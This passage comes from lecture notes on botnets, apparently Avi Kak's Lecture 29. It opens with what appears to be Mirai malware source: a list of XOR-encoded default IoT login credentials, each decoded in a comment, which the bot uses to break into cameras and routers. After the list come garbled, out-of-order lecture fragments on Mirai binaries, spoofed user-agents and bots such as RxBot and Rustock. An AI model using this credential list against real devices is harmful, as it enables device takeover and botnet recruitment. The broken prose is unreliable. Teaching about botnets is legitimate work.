add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5); // root juantech
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5); // root 123456
add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5); // root 54321
add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5); // support support
add_auth_entry("\x50\x4D\x4D\x56", "", 4); // root (none)
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4); // admin password
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4); // root root
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4); // root 12345
add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3); // user user
add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3); // admin (none)
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3); // root pass
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3); // admin admin1234
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3); // root 1111
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3); // admin smcadmin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2); // admin 1111
add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2); // root 666666
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2); // root password
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2); // root 1234
add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1); // root klv123
add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin
add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1); // service service
add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor
add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1); // guest guest
add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345
add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345
add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1); // admin1 password
add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234
add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1); // 666666 666666
add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1); // 888888 888888
add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1); // ubnt ubnt
add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1); // root klv1234
add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1); // root Zte521
add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1); // root hi3518
add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1); // root jvbzd
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4); // root anko
add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1); // root zlxx.
add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root 7ujMko0vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root 7ujMko0admin
add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1); // root system
add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1); // root ikwb
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1); // root dreambox
add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1); // root user
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1); // root realtek
add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1); // root 00000000
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1); // admin 1111111
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1); // admin 1234
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1); // admin 12345
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1); // admin 54321
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1); // admin 123456
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin 7ujMko0admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1); // admin 1234
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1); // admin pass
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1); // admin meinsm
add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1); // tech tech
add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1); // mother fucker
67
Computer and Network Security by Avi Kak Lecture 29
thing to install security and other software updates. It would be one thing to expect a soap dispenser to come
with a chip that would wirelessly report the fill-level to your smartphone once a day, and entirely another to
also expect that the dispenser would possess computational resources needed to update its software when new
that are the actual bots: dlr.arm, dlr.arm7, dlr.m68k, dlr.mips, dlr.mpsl, dlr.ppc, dlr.sh4, and
dlr.spc that are meant for different processor architectures. Just imagine the consequences of you downloading
“Dahua Technology”. Apparently these cameras allow anyone to take control of the device by merely entering
IP addresses, that would do for a botnet for launching large DDoS attacks. ]
network for secure delivery of packets at the IP layer. With and without IPSec it is used in VPNs and for
DDoS-protected delivery of content from the origin server to the proxy servers in Content Delivery Networks. ]
69
Computer and Network Security by Avi Kak Lecture 29
following browsers:
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/60
70
Computer and Network Security by Avi Kak Lecture 29
• The exploits that are programmed into the more “famous” bots
generally include:
– key-logging
71
Computer and Network Security by Avi Kak Lecture 29
– spamming
– installing rootkits
that this bot can execute on an infected host can be found at http://www.angelfire.com/theforce/
travon1120/RxBotCMDLIST.html. ]
72
Computer and Network Security by Avi Kak Lecture 29
//www.secureworks.com/research/threats/phatbot/. ]
down the botnet’s C&C servers that Microsoft was able to locate in several US cities. By Microsoft’s
latest reckoning, Rustock had infected close to a million computers and the botnet as a whole was
73
Computer and Network Security by Avi Kak Lecture 29
74